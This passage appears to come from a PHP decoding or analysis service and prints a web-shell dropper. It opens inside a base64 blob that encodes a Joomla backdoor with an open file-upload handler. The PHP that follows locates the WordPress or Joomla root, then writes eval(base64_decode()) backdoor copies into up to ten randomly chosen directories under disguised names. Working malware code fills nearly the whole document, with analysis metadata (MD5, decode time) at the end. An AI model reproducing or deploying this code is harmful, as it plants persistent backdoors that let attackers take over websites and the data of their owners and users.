bnQmdmlldz1jYXRlZ29yeSYlaWQ9eyRhcnRpY2xlLT5jYXRpZH0nICI7DQoJJGRiLT5zZXRRdWVyeSgkc3FsKTsgLy8gYXBwbHkgcXVlcnkNCgkkY2F0X3BhdGggPSAkZGItPmxvYWRPYmplY3QoKTsNCglpZihpc3NldCgkY2F0X3BhdGgtPnBhdGgpKSB7DQoJCSRzbHVnID0gJF9SRVFVRVNUWydhcnRpY2xlX3NlZl91cmwnXSAuICc6JyAuICRhcnRpY2xlLT5hbGlhczsNCgkJJGNhdHNsdWcgPSAkYXJ0aWNsZS0+Y2F0aWQgLiAnOicgLiAkY2F0X3BhdGgtPnBhdGg7DQoJCSRsaW5rID0gSlJvdXRlOjpfKENvbnRlbnRIZWxwZXJSb3V0ZTo6Z2V0QXJ0aWNsZVJvdXRlKCRzbHVnLCAkY2F0c2x1ZykpOw0KCQlpZighZW1wdHkoJGFydGljbGUtPmxhbmd1YWdlKSkgew0KCQkJJGxpbmsgPSBzdHJfcmVwbGFjZSgnaW5kZXgucGhwLycsICdpbmRleC5waHAvJyAuIHN1YnN0cigkYXJ0aWNsZS0+bGFuZ3VhZ2UsIDAsIDIpIC4gJy8nLCAkbGluayk7DQoJCX0NCgkJcHJpbnQgYXJyYXlfdG9fanNvbihnZXRfZnVsbF9wYXRoKCRsaW5rKSk7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCBhcnJheV90b19qc29uKGdldF9mdWxsX3BhdGgoSlVSSTo6YmFzZSgpIC4gJ2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdmlldz1hcnRpY2xlJmlkPScgLiAkX1JFUVVFU1RbJ2FydGljbGVfc2VmX3VybCddKSk7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWydnZXRfbGFuZ3VhZ2VzJ10pKSB7DQoJJGxhbmd1YWdlcyA9IEpMYW5ndWFnZUhlbHBlcjo6Z2V0TGFuZ3VhZ2VzKCk7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkbGFuZ3VhZ2VzKTsvL2xhbmdfY29kZSBJTkRFWCBJUyBVU0VEIEZPUiBJTlNFUlRJTkcgSU5UTyBDT05URU5UDQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9qbV92ZXJzaW9uJ10pKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbihKVkVSU0lPTik7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3VwbG9hZF9maWxlJ10pKSB7DQoJcHJpbnQgJzxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9Im15X2ZpbGUiPjxpbnB1dCB0eXBlPSJzdWJtaXQiPjwvZm9ybT4nOw0KfQ0KDQppZighZW1wdHkoJF9GSUxFU1snbXlfZmlsZSddKSkgew0KCSRiYXNlX25hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWydteV9maWxlJ11bJ25hbWUnXSk7DQoJaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ215X2ZpbGUnXVsndG1wX25hbWUnXSwgJGJhc2VfbmFtZSkpIHsNCgkJcHJpbnQgJzxhIGhyZWY9IicuJGJhc2VfbmFtZS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kYmFzZV9uYW1lLic8L2E+JzsNCgl9DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2dldF9hcGlfdmVyc2lvbiddKSkgew0KCXByaW50IGFycmF5X3RvX2pzb24oYXJyYXkoJ2FwaV92ZXJzaW9uJyA9PiBudW1iZXJfZm9ybWF0KEFQSV9WRVJTSU9OLCAyKSkpOw0KfQ0KPz4=';



$wp_enc_file = '<?php eval("?>" . base64_decode("'.$wp_code.'")); ?>';

$wp_dec_file = base64_decode($wp_code);



$jm_enc_file = '<?php eval("?>" . base64_decode("'.$jm_code.'")); ?>';

$jm_dec_file = base64_decode($jm_code);



$orig_dir = getcwd();



$counter = 0;

do{

        foreach(glob("*") as $file) {

                if(strpos($file, "wp-config.php") !== false) {

                        define('PLATFORM', 'WORDPRESS');

                }

                if(strpos($file, "configuration.php") !== false) {

                        define('PLATFORM', 'JOOMLA');

                }

        }

        if(!defined('PLATFORM')) {

                chdir('..');

                $counter++;

        }

        else {

                $site_root_dir = getcwd();

        }

}while(!defined('PLATFORM') && $counter < MAX_LEVELS_UP);



if(!defined('PLATFORM')) {

        exit("Unknown platform!");

}



$all_dirs = array();



get_all_dirs(getcwd());



if(count($all_dirs) >= 10) {

        $num_of_rand_dirs = 10;

}

else {

        $num_of_rand_dirs = count($all_dirs);

}



$all_dirs = array_filter($all_dirs, "filter_dirs");

$chosen_dirs_indexes = array_rand($all_dirs, $num_of_rand_dirs);



print "PLATFORM : " . PLATFORM . "<br>\n";



if(PLATFORM == 'WORDPRESS') {

        $contents = array($wp_enc_file, $wp_dec_file);

}



if(PLATFORM == 'JOOMLA') {

        $contents = array($jm_enc_file, $jm_dec_file);

}



$web_dirname = dirname($_SERVER['REQUEST_URI']);

$site_root_dir_splitted = explode("/", $site_root_dir);

$web_dir_splitted = explode("/", $web_dirname);



if($site_root_dir_splitted[count($site_root_dir_splitted)-1] == $web_dir_splitted[1]) {

        $site_dir = $web_dir_splitted[1];

}



$content_type = 0;

$periods_count = 0;

foreach($chosen_dirs_indexes as $chosen_dir_index) {

        $file_name = get_file_name($all_dirs[$chosen_dir_index] . '/');

        if($periods_count < 2) {

                $periods_count++;

                $file_name .= '.';

        }

        file_put_contents($file_name, $contents[$content_type]);

        $file_rel_path = substr($file_name, strlen($site_root_dir));

        if(!isset($site_dir)) {

                $site_dir = '';

        }

        $file_full_path = $site_dir . $file_rel_path;

        if($content_type == 0) {

                $content_type = 1;

        }

        else {

                $content_type = 0;

        }

        print preg_replace("/^\//", "", $file_full_path) . "<br>\n";

        flush();

}

//print PLATFORM;

//print_r($all_dirs);

?>

Function Calls

define 1
set_time_limit 1

Variables

None

Stats

MD5 2f52641b63fe535a8f9861dfcc216a19
Eval Count 0
Decode Time 385 ms